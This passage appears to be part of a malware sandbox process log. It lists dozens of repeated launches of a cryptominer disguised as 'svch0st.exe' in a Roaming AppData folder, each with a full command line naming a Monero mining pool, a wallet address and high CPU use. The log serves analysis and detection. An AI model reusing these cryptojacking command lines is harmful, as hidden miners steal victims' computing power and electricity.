        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        244⤵
        
        PID:27308
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        245⤵
        
        PID:27424
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        246⤵
        
        PID:27516
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        247⤵
        
        PID:27608
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        248⤵
        
        PID:27624
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        249⤵
        
        PID:27736
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        250⤵
        
        PID:27840
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        251⤵
        
        PID:27940
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        252⤵
        
        PID:28052
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        253⤵
        
        PID:28172
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        254⤵
        
        PID:28276
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        255⤵
        
        PID:28368
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        256⤵
        
        PID:28456
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        257⤵
        
        PID:28544
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        258⤵
        
        PID:28656
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        259⤵
        
        PID:28688
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        260⤵
        
        PID:28792
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        261⤵
        
        PID:28916
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        262⤵
        
        PID:29112
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        263⤵
        
        PID:29224
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        264⤵
        
        PID:29296
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        265⤵
        
        PID:29400
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        266⤵
        
        PID:29528
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        267⤵
        
        PID:29648
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        268⤵
        
        PID:29000
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        269⤵
        
        PID:29140
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        270⤵
        
        PID:29740
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        271⤵
        
        PID:29876
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        272⤵
        
        PID:30004
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        273⤵
        
        PID:30140
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        274⤵
        
        PID:30228
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        275⤵
        
        PID:30352
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        276⤵
        
        PID:30460
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        277⤵
        
        PID:30560
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        278⤵
        
        PID:30668
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        279⤵
        
        PID:30076
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        280⤵
        
        PID:30736
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        281⤵
        
        PID:30836
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        282⤵
        
        PID:30940
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        283⤵
        
        PID:31032
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        284⤵
        
        PID:31120
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        285⤵
        
        PID:31208
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        286⤵
        
        PID:31292
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        287⤵
        
        PID:31388
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        288⤵
        
        PID:31480
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        289⤵
        
        PID:31564
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        290⤵
        
        PID:31648
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        291⤵
        
        PID:30748
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        292⤵
        
        PID:31748
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        293⤵
        
        PID:31868
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        294⤵
        
        PID:31988
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        295⤵
        
        PID:32076
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        296⤵
        
        PID:32196
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        297⤵
        
        PID:32312
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        298⤵
        
        PID:32404
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        299⤵
        
        PID:32480
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        300⤵
        
        PID:32616
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        301⤵
        
        PID:32704
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        302⤵
        
        PID:32096
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        303⤵
        
        PID:32804
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        304⤵
        
        PID:32908
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        305⤵
        
        PID:33000
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        306⤵
        
        PID:33088
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        307⤵
        
        PID:33220
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        308⤵
        
        PID:33312
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        309⤵
        
        PID:33416
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        310⤵
        
        PID:33532
        
